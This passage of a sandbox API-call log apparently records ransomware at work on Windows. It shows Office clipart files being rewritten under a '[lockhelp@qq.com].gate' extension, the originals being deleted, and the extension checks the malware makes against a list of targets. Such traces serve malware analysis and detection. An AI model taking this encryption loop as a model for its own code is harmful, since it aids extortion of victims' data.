liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0301.833] GetLastError () returned 0x0 [0301.833] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x16a6, lpOverlapped=0x0) returned 1 [0301.864] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x16b0, lpOverlapped=0x0) returned 1 [0301.865] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.865] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.865] SetEndOfFile (hFile=0x564) returned 1 [0301.865] CloseHandle (hObject=0x564) returned 1 [0301.865] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.865] SetEndOfFile (hFile=0x528) returned 1 [0301.867] CloseHandle (hObject=0x528) returned 1 [0301.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0301.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0301.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0301.868] lstrlenW (lpString=".doc") returned 4 [0301.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.869] lstrlenW (lpString=".docx") returned 5 [0301.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.869] lstrlenW (lpString=".pdf") returned 4 [0301.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.869] lstrlenW (lpString=".xls") returned 4 [0301.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.869] lstrlenW (lpString=".xlsx") returned 5 [0301.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.869] lstrlenW (lpString=".ppt") returned 4 [0301.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0301.869] lstrlenW (lpString=".zip") returned 4 [0301.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.869] lstrlenW (lpString=".rar") returned 4 [0301.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.869] lstrlenW (lpString=".bz2") returned 4 [0301.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.869] lstrlenW (lpString=".7z") returned 3 [0301.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0301.869] lstrlenW (lpString=".dbf") returned 4 [0301.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0301.869] lstrlenW (lpString=".1cd") returned 4 [0301.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0301.869] lstrlenW (lpString=".jpg") returned 4 [0301.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.896] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=12632) returned 1 [0301.896] CloseHandle (hObject=0x4f8) returned 1 [0301.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220 [0301.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0301.896] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.897] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0301.898] GetLastError () returned 0x0 [0301.898] ReadFile (in: hFile=0x4f8, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x3158, lpOverlapped=0x0) returned 1 [0301.954] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x3160, lpOverlapped=0x0) returned 1 [0301.955] ReadFile (in: hFile=0x4f8, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.955] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.955] SetEndOfFile (hFile=0x4b8) returned 1 [0301.960] CloseHandle (hObject=0x4b8) returned 1 [0301.963] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.963] SetEndOfFile (hFile=0x4f8) returned 1 [0301.972] CloseHandle (hObject=0x4f8) returned 1 [0301.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0301.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0301.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0301.975] lstrlenW (lpString=".doc") returned 4 [0301.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.975] lstrlenW (lpString=".docx") returned 5 [0301.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.975] lstrlenW (lpString=".pdf") returned 4 [0301.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.976] lstrlenW (lpString=".xls") returned 4 [0301.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.976] lstrlenW (lpString=".xlsx") returned 5 [0301.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.976] lstrlenW (lpString=".ppt") returned 4 [0301.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0301.976] lstrlenW (lpString=".zip") returned 4 [0301.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.976] lstrlenW (lpString=".rar") returned 4 [0301.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.976] lstrlenW (lpString=".bz2") returned 4 [0301.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.976] lstrlenW (lpString=".7z") returned 3 [0301.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0301.976] lstrlenW (lpString=".dbf") returned 4 [0301.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0301.976] lstrlenW (lpString=".1cd") returned 4 [0301.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0301.976] lstrlenW (lpString=".jpg") returned 4 [0301.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.977] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11490) returned 1 [0301.977] CloseHandle (hObject=0x4f8) returned 1 [0301.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220 [0301.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0301.978] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.978] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0301.978] GetLastError () returned 0x0 [0301.978] ReadFile (in: hFile=0x4f8, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2ce2, lpOverlapped=0x0) returned 1 [0302.063] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0302.064] ReadFile (in: hFile=0x4f8, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.064] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.064] SetEndOfFile (hFile=0x404) returned 1 [0302.072] CloseHandle (hObject=0x404) returned 1 [0302.072] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.072] SetEndOfFile (hFile=0x4f8) returned 1 [0302.102] CloseHandle (hObject=0x4f8) returned 1 [0302.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0302.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.114] lstrlenW (lpString=".doc") returned 4 [0302.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.114] lstrlenW (lpString=".docx") returned 5 [0302.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.114] lstrlenW (lpString=".pdf") returned 4 [0302.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.114] lstrlenW (lpString=".xls") returned 4 [0302.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.114] lstrlenW (lpString=".xlsx") returned 5 [0302.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.114] lstrlenW (lpString=".ppt") returned 4 [0302.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.115] lstrlenW (lpString=".zip") returned 4 [0302.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.115] lstrlenW (lpString=".rar") returned 4 [0302.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.115] lstrlenW (lpString=".bz2") returned 4 [0302.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.115] lstrlenW (lpString=".7z") returned 3 [0302.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.115] lstrlenW (lpString=".dbf") returned 4 [0302.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.115] lstrlenW (lpString=".1cd") returned 4 [0302.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.115] lstrlenW (lpString=".jpg") returned 4 [0302.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.115] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=4340) returned 1 [0302.115] CloseHandle (hObject=0x528) returned 1 [0302.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0302.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0302.116] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.116] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0302.117] GetLastError () returned 0x0 [0302.117] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x10f4, lpOverlapped=0x0) returned 1 [0302.184] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1100, lpOverlapped=0x0) returned 1 [0302.185] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.185] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.185] SetEndOfFile (hFile=0x414) returned 1 [0302.205] CloseHandle (hObject=0x414) returned 1 [0302.205] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.205] SetEndOfFile (hFile=0x528) returned 1 [0302.244] CloseHandle (hObject=0x528) returned 1 [0302.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0302.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.245] lstrlenW (lpString=".doc") returned 4 [0302.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.245] lstrlenW (lpString=".docx") returned 5 [0302.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.245] lstrlenW (lpString=".pdf") returned 4 [0302.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.245] lstrlenW (lpString=".xls") returned 4 [0302.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.245] lstrlenW (lpString=".xlsx") returned 5 [0302.245] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.245] lstrlenW (lpString=".ppt") returned 4 [0302.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.245] lstrlenW (lpString=".zip") returned 4 [0302.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.245] lstrlenW (lpString=".rar") returned 4 [0302.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.245] lstrlenW (lpString=".bz2") returned 4 [0302.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.245] lstrlenW (lpString=".7z") returned 3 [0302.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.246] lstrlenW (lpString=".dbf") returned 4 [0302.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.246] lstrlenW (lpString=".1cd") returned 4 [0302.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.246] lstrlenW (lpString=".jpg") returned 4 [0302.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.246] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1148) returned 1 [0302.246] CloseHandle (hObject=0x528) returned 1 [0302.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220 [0302.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0302.247] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.247] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0302.248] GetLastError () returned 0x0 [0302.248] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x47c, lpOverlapped=0x0) returned 1 [0302.346] WriteFile (in: hFile=0x538, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x480, lpOverlapped=0x0) returned 1 [0302.347] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.347] WriteFile (in: hFile=0x538, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.348] SetEndOfFile (hFile=0x538) returned 1 [0302.348] CloseHandle (hObject=0x538) returned 1 [0302.348] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.348] SetEndOfFile (hFile=0x528) returned 1 [0302.380] CloseHandle (hObject=0x528) returned 1 [0302.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0302.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0302.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 